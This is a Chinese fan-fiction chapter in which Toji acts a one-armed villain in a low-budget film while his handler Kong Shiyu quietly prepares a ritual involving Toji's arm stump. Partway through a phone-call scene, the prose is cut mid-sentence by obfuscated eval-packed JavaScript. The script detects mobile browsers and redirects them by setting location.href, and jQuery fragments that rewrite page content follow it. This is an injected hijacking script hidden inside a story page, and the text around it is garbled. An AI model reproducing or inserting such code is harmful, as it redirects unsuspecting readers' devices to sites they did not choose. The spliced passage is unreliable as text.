事情是从黑拳场那边介绍来的。
具体是哪个介绍人孔时雨懒得追溯，反正某天下午他的手机响了，对方自报家门是某某制作公司的副导演，说在某某场子见过那位“独臂的先生”，问能不能请他客串一下他们正在拍的一部电影。角色不大，三场戏，一个反派打手，独臂设定。预算不多，但走正规流程签合同付片酬。
孔时雨在阳台上接的电话。听完之后他靠在栏杆上抽了半根烟，然后回客厅。
甚尔躺在沙发上看赛马。
“有人想让你去演电影。”
甚尔的眼睛没离开电视，“演什么。”
“反派。”
“哦。”
“独臂的反派。”
甚尔笑了一声。
“片方的原话是，”孔时雨从冰箱里拿了罐易拉罐啤酒出来，“他们想要那种‘看起来像真的杀过人’的效果。”
甚尔终于把头转过来。
“我跟他们说，”孔时雨掀开拉环，喝了一口，“能做到。”
两个人对视了大概两秒钟。
“……三场戏多少钱？”甚尔问。
“二十万。”
“行。”
那就接了。从那个电话挂掉到甚尔说“行”，一共没超过两分钟。
通告是一周以后，地点在埼玉。东京北边开过去要一个半小时，对方说会安排车接送，孔时雨拒绝了，自己开车去。
那天早上六点多两个人就出发了。三月底，天亮得早，首都高架的路上还没什么车。
甚尔在副驾驶上半睡半醒，孔时雨开车。中途在一家路边的便利店停了一下，买了两罐咖啡和一个三明治，三明治是给甚尔的——甚尔早上要吃东西，自己不吃。
到了现场，是郊区一座废弃的仓库改造的摄影棚。外面停了七八辆车，有一辆是设备车，几辆面包车，剩下的是工作人员的私家车。门口蹲了两个人在抽烟，看见他们的车开进来，朝车里看了一眼又移开。
孔时雨把车停好。
一个二十出头的小个子小跑过来。“伏黑桑？”
“对。”
“我是副导演的助理，姓中川。请跟我来——”他的视线在甚尔的左侧空袖管上停了半秒，迅速移开，又看向孔时雨，“这位是……？”
“我跟着他。”孔时雨说。
中川“哦”了一声。然后他转身带路，没有再问。
甚尔跟在孔时雨后面进了仓库。仓库里搭着两个景，一个是工厂车间的内景，钢架、油桶、悬挂的链条。另一个是简陋的办公室，木桌、皮椅、一面墙上贴着地图。打灯的师傅们正在调一组顶灯，扩音喇叭里有人在喊“还差五分钟”。
副导演在桌子那边跟一个胖子说话，大概是导演。看见甚尔，副导演朝他抬了一下手。
“伏黑桑！来得挺早。先去化妆间，那边——”他朝仓库角落一扇门指了一下，“换好衣服我们就能开始。”
甚尔点头。
化妆间是一个用三合板隔出来的小房间，里面一面镜子，几把折叠椅，一张桌子，摆着各种化妆品和假发。一个四十多岁的化妆师阿姨在等着，看见他们进来站起来。
“伏黑桑对吧？衣服在那边架子上，先换。”例行公事的语气。
架子上挂着一套深色西装，黑衬衫，没系领带的款式，还有一件薄风衣。甚尔扯下衣架，单手把外套脱了。
化妆师没看他。她在桌子前面忙自己的，调一些粉色的胶状物，是假伤疤的材料。孔时雨在一把折叠椅上坐下来。
甚尔换衣服很顺。黑衬衫单手套上去，纽扣他自己一颗一颗扣好，左边袖管照例是空的。这套服装为独臂改过，左边的肩缝特意做了收拢，空袖管不会松垮地晃。西装外套搭上去之后他抖落了一下，让袖管自然垂下。
穿好了照镜子。
镜子里那个人确实有点像反派。深色西装、黑衬衫、那道嘴角的旧疤。化妆师阿姨绕过来，端详了一下。
“嘴角这道是真的？”
“嗯。”
“那省事了。”她点头，“我再给你脸上加一道，眉骨上面，跟那道呼应一下。导演说要狠的。”
她拿了一根细签，沾了点粉色胶状物，往甚尔脸上凑过去。
然后她停了。
“怎么了？”甚尔说。
“你别动……”她皱眉看了一会儿，“有点偏。”
她退开半步，抓了抓头发。“不对。这位置不对。导演说要在眉骨上面，但你脸的骨相是这样长的，疤画在那里反而不狠了，会显得脸宽……”
她在自言自语。
孔时雨从折叠椅上站起来。
“画在颧骨下面。”他说。
化妆师转头看他。
“从这里”，孔时雨走到甚尔旁边，抬手在他脸上比了一下，食指点在右颧骨外侧，往下一抹，在下颌线之前停住，“到这里。一道斜的。不要太长，三到四公分。”
化妆师看了他一眼，又看了看甚尔的脸，琢磨了两秒。
“……对”，她说，“你说得对。”
她重新沾了胶。
甚尔在镜子里看孔时雨。孔时雨没看他，已经走回折叠椅那边坐下了。
假疤在他脸上长出来需要五分钟。化妆师手很稳，涂上胶、压出形状、上色、做旧、最后扑一层定妆粉。完成的时候那道假疤跟嘴角那道真的旧疤并排在他脸上，看起来像是同一只手在不同的时间点留下的两道伤。
化妆师退开端详了一下。
“……我去叫导演。”她说。
她出去了。
化妆间里只剩两个人。甚尔从镜子里转过头看孔时雨。
“你看了我多少次。”
“什么？”
“我的脸。”甚尔说，“你怎么知道这里要画一道。”
孔时雨没立刻回答。他从口袋里摸出烟，看了一眼“禁烟”的牌子，又把烟塞回去。
“你右脸比左脸瘦零点几公分。”他说，“你知道吗。”
甚尔愣了一下。
“看不出来，但是有。”孔时雨说，“颧骨下面那个凹陷右边深一点。在那里加一道斜的疤，能让你的脸看起来更窄，也更凶。"
甚尔在镜子里又看了一眼自己。
他确实没注意过。
“……你以前是不是干过化妆师。”
“刑警。”孔时雨说，“画素描像。”
甚尔笑了，“行。”
第一场戏拍得很快。
甚尔的角色叫“加藤”，是一个□□里的打手，在剧本里没什么台词，主要任务是站在大佬身后看起来很危险。这场是他第一次出场，从一辆车里下来，跟着大佬走进仓库，全程不说话。
导演要的是一个特定的下车动作——单手推门，脚先伸出来，整个人从车里出来的时候那副“我不需要别人帮”的熟练劲。这个甚尔不需要演。他平时从车里出来就是这样。
一条过。
导演在监视器后面“哦哦”了两声。
第二场是甚尔站在大佬身后听对话。大佬的演员是一个五十多岁的、看起来确实像演过太多次□□老大的老演员，台词记得很熟，跟对手戏的演员一来一回对了几回合。甚尔站在他身后大概一米的位置，右手搭在自己腹部前面，眼睛平视前方。
导演喊cut，过去看了看监视器，又喊重来。
“伏黑桑，你站得太散了。”
甚尔点头。
“再来一条。绷一点。但又不能太绷，要那种——”导演用手在空中比划了一下，找词，“……你懂的，那种感觉。”
甚尔没说懂也没说不懂。他回到位置，重新站好。
再来。
cut。
“……还是不对。”导演挠头，“差一点东西，让我想想。”
现场静了几秒。
孔时雨从监视器旁边走过去。也不知道他什么时候挪到那个位置的。
他走到甚尔旁边，抬手在他右肩上按了一下，往下压了大概一公分。然后他用拇指在甚尔的下颌外侧推了一下，让他的头往左微微偏了几度。最后他抓住甚尔搭在腹部前面的那只右手的手腕，把它的位置往下挪了，搭在大腿外侧。
整个过程他没说话。
做完他退开，回到监视器旁边。
导演抬头看了甚尔一眼。
“……对，就是这个。”他说，“再来一条。”
一条过。
现场没人问那个调整甚尔姿势的男人是谁。副导演看了一眼，副导演的助理看了一眼，灯光师看了一眼，但没人问。
剧组的潜规则，一个没有称谓的人在现场做了一件管用的事，那他就有称谓，称谓叫“那位”。“那位说要这样”，“那位刚才调过了”，这一天里所有人都会用这种方式提到孔时雨。
甚尔在那个被调整过的位置上又站了几条戏。每一条过得都很快。
到中午十二点，吃饭。
白色塑料盒的便当，米饭、炸鸡、几样泡菜。
然后女主角来了。
她叫白川玲奈，不知道是真名还是艺名。三十出头，人很瘦，穿着一件灰色的针织毛衣和牛仔裤，头发随便挽起来，手里端着自己的盒饭。她的角色今天下午开始拍。
她在甚尔对面那把空椅子上坐下来。
“伏黑桑对吧？”她笑了一下，“我是白川。我演那个被你劫持的人质。”
“嗯。”
“剧本看了吗？”
“看了。”
“那你知道我后来会捅你一刀吧。”
甚尔笑了。“知道，道具刀。”
“对，道具刀。”白川很慎重地点头，“我专门去练了，怎么把刀往你肋骨缝里插。我不想第一次捅你就捅得太假。”
甚尔吃了一口炸鸡，“那挺专业。”
“我演过太多次被捅死的了，”白川说，“换换感觉。”
她拿筷子夹了一块自己饭盒里的炸鸡，递过来。“你这块比我那块大。换。”
甚尔由她换了。
“你以前是干什么的？”白川一边换一边问。
“打架。”
“哪种打架？”
“挣钱那种。”
白川嗯了一声，像是听懂了。“那这个胳膊也是挣来的？”
甚尔看她，“算是吧。”
“赚得不少吧。”
“也换不回来了。”
白川笑了，声音不大，“行，你这种我以前在京都遇到过一个。也是少了点什么的。我们后来一起喝过酒。”
“喝多没？”
“我喝多了。他没喝多。”
“那他怎么把你送回去的？”
“用一只手送的。”白川说。
甚尔笑出来了。
白川也笑。两个人之间隔着两个饭盒和换过去的那块炸鸡，笑了大概三秒钟。
然后白川看了一眼坐在甚尔旁边的孔时雨，“这位是？”
“我跟着他。”孔时雨说。
“哦。”
又是一声“哦”。今天到现在为止是第几个人发出这个音了。
白川没再问。她转回去看甚尔。“下午我们对手戏，你别紧张。我捅你的时候会留三公分。”
“我不紧张。”甚尔笑了。
“你看起来确实不紧张。”白川说，“这点我也羡慕。”
吃完饭休息。
剧组要换景，下午的戏在另一个搭好的内景拍。一间汽车旅馆的房间，甚尔劫持白川然后被白川反杀的那场戏。换景需要时间，导演说至少一个小时。
甚尔靠在折叠椅上闭眼。他真的能在任何场合睡着。这跟剧组也很搭，等待是这个行业的主要内容。
一个小时之后景搭好了。
副导演喊伏黑桑，伏黑桑站起来。孔时雨没动，还坐在那把椅子上。
甚尔进了汽车旅馆的景。
那场戏比上午复杂。白川被押进房间、被推到床上、两个人有一段六七句来回的对话、白川假装屈服去够桌上的水杯、其实是在摸藏在桌底下的刀、然后趁甚尔转身的瞬间从腰后抽出来、往他左肋骨那一侧空袖管底下捅过去。一镜到底。
灯光要跟，话筒要跟，还要拍白川和甚尔各自的特写，调度复杂。导演说了，估计要拍十几条。
第一条试机走位。导演没满意，重新调灯。
第二条正式来。甚尔走位没对。他第一次拍这种长镜头，在“推到床上”那个动作之后他没找准下一步的位置，导演喊cut。重来。
第三条到了刀那一段才cut，白川的刀拔得太早了。
第四条又cut，这次是话筒入镜。
每一次cut之间大概三到五分钟的间隙，调机器、调灯、对台词、有时候导演要过去跟演员说几句。甚尔站在原地，让化妆师过来给他补妆。假疤被汗弄得边缘有点起翘，化妆师用棉签压一下。
他在被压假疤的那一秒，余光扫过折叠椅区。
孔时雨不在那把椅子上。
甚尔没有把视线在那里多停。化妆师还在他脸上忙，导演在跟摄影对话，下一条快开始了。他把目光收回来，闭了一下眼。再睁开的时候副导演在喊“第五条，开始”。
——
仓库外面的天阴了。三月底的关东，天气不好的时候有点冷。
孔时雨站在停车场和树林之间的那块空地上，背对着仓库。手里夹着一根烟，烧到一半。手机贴着耳朵。
电话那头的声音很慢。两个人说的是日语，但夹着一些不像普通日语的词。孔时雨这边偶尔会蹦出一两个韩语词，对方用的词孔时雨不全懂、但能猜出大概，某种更老的术语。两个人都没解释。对方知道孔懂多少，孔知道对方懂多少。
“东西在你手上的状态怎么样。”对方问。
“稳定。”孔时雨说，“原始那批没有衰减。新的几批我都对照过手感，质地一样。”
“几批了。”
“算上原始那批，三批。”
对方沉默了几秒。
“够了。”对方说，“原始那批本来就够大半。后面只是补足。”
孔时雨没说话。
“你想知道的是什么。”对方说，“我说过我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489762|202172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能告诉你的就这么多。条件你已经知道了。剩下的是你自己的事。”
“我想确认一件事。”孔时雨说，“本人的状态。”
“什么状态。”
“最近他的——”孔时雨停了一下，找词，“……反应。残肢的反应。频率在上升。不是抽搐，是另外一种。”
对方干笑了一声。
“那你就算是准备好了。”对方说，“那个东西在他身体里已经认了。等久了它会自己往外走。”
孔时雨闭了一下眼睛。
“还有。”对方说，“我提醒过你的事。第一次他不会知道是你做的。但是他会知道发生了什么。他知道之后会怎么反应，这件事我不能帮你判断，那是你跟他之间的事。”
“嗯。”
“祝你顺利。”
电话挂了。
孔时雨把烟抽完。他没急着回去，刚才出来之前他算过，这场戏至少要拍十几条。他又点了一根，慢慢抽。
走回仓库的路上他想了一下对方那句“那你就算是准备好了”。
他确实准备好了。从盘星教那个雨夜甚尔站在他门口的那一刻就准备好了。准备好和下手是两件事，但“它在等。等久了会自己往外走。”
那这件事就可以做了。
他回到仓库，从侧门进去，坐回原来那把椅子。没有人朝他的方向看一眼——所有人都在拍摄现场那边，导演在叫第八条。
——
第九条一镜到底，过。
在第九条结束、导演说“再换个白川的特写”的间隙里，甚尔又扫了一眼折叠椅区。
孔时雨回来了。
坐在原来那把椅子上，姿势跟离开之前几乎一模一样。左手插在外套口袋里，右手垂在膝盖上，靠着椅背。他不知道是什么时候回来的。
甚尔看了他大概半秒。
孔时雨在那一瞬抬眼，跟他对了一下眼神。
甚尔把视线收回来。
特写又拍了五六条。然后白川的近景，甚尔的近景。最后导演喊“最后一条，全景，从头走一遍。”
甚尔重新走位。这一条他不知道为什么进得比之前任何一条都深。
白川被押进房间。
被推到床上。
六七句对话来回。
白川假装屈服去够桌上的水杯。
摸到桌底下的刀。
甚尔背过身去，这是约定好的动作，他要给白川一个空隙。他转身的时候右手垂在身侧，左侧空袖管自然落在腰旁，整个人的姿态是放松的，我已经搞定你了，完全不设防。
白川从腰后抽出刀。
她应该立刻送出去。她已经练过几十遍了。
她没送出去。
那把道具刀停在她伸出来的手里，停在距离甚尔左肋骨大概四十公分的位置。她的胳膊是僵的，她的呼吸很短地卡了一下。
那一瞬间所有人都听见了。
现场的所有声音变得很小。
甚尔背对着她，按剧本他这时候应该完全不知道身后的事，他没有回头，但他能感觉到。
那一秒钟很长。
然后白川把刀送出去了，比预定时间晚了两秒。刀稳稳地停在甚尔左肋骨外侧那个空袖管底下的位置，留了三公分。
甚尔倒下去。膝盖先弯，然后是腰，最后头往后仰，整个人沿着旁边的墙慢慢滑到地上。
cut。
现场静了一秒，然后导演拍手。
“完美！”他说，“白川桑那个最后犹豫的迟疑加得绝了，那个迟疑让整场戏的层次出来了！就这样，就这样。今天的戏到此为止。”
白川在原地站着没动。她还握着那把道具刀。
副导演喊收工，灯光开始撤掉。白川终于把刀放回桌上。她做这个动作的时候手指有一点发紧。她朝甚尔伸出手，笑了一下。
“你刚刚那个......挺真的。”她说。
“你捅得也真。”
两个人都笑了。但白川的笑比之前任何一次都浅。
她转身去了化妆间。
甚尔站在原地活动了一下肩膀。他又朝那个角落看了一眼。
孔时雨在那把椅子上坐着。眼睛在他身上。
化妆师过来给甚尔卸妆。假疤被一种特殊的溶剂泡软，化妆师用棉片一点一点地揭。嘴角那道真疤还在原地。
出仓库的时候副导演追上来塞了一个信封。
“太可以了，”他说，“这个角色一下子立住了。”
他说话的时候很兴奋。
“后面可以再加两场，”他说，“你有没有时间？”
孔时雨在旁边，“价格可以谈。”他说。
制片人点头，“好说好说。”
甚尔看了他一眼。
天已经黑了。三月底傍晚六点多，天空深蓝色偏紫，远处的工业区烟囱亮着几个红色的航空警示灯。
开出剧组的小路，拐上主干道。回东京一个半小时。
甚尔在副驾驶上，把那个装着二十万现金的信封随手扔在中控台底下。
开了大概十分钟。
“孔。”甚尔开口了。
“嗯。”
“你到底把我这身体当什么在卖。”
甚尔说这话的时候是笑着的。和他平时所有的笑一样，嘴角动一下，旧疤撑开一点。
但孔时雨握方向盘的手停了一秒。
“打拳你也是打”，孔时雨说，跟着甚尔的调侃接过去，“驱灵你也是打，今天演的也是打人。”
“你中介费抽得比行情多。”
“我管的不止是介绍。”
“对。”甚尔说，“还管缠绷带、报位置、画疤的位置，还有——”
“全套服务。”
甚尔笑出了声。
笑完他靠回座椅，闭上眼睛。
过了一会儿甚尔又开口。
“你今天烟抽太多了吧。”他皱皱眉，嫌弃地把头往窗边靠了靠。
孔时雨没回头。
“嗯。”他说。
“哦。”
甚尔很快就睡着了。他今天没怎么动，但被人盯着站位看一整天比打十场拳还累。
车在首都高架上。
孔时雨开了一会儿，伸手按了一下音响。还是上次那张专辑，还在那一首。九十年代的男声韩语民谣，慢、忧郁、甚尔听不懂歌词。
副驾驶上的人睡着了。左臂残肢搁在自己腿上——
在跳。
它在跳，跳得很均匀，像一个跟着外面什么节奏在走的脉搏，但它跟甚尔的呼吸不同步，跟孔时雨油门的节奏也不同步，跟车上音乐的拍子也不同步。它有自己的节奏。
孔时雨握方向盘的手又停了一下。
时间快到了。
他没说出来。但他从那一刻开始知道，储物格里那些小袋子里的东西已经够了。第一次降灵的窗口已经打开。他需要选一个时机。
他不会跟甚尔商量。
车继续往东京开。歌还在放。甚尔睡得很深。
副驾驶那截残肢在小幅度地、不肯停的跳。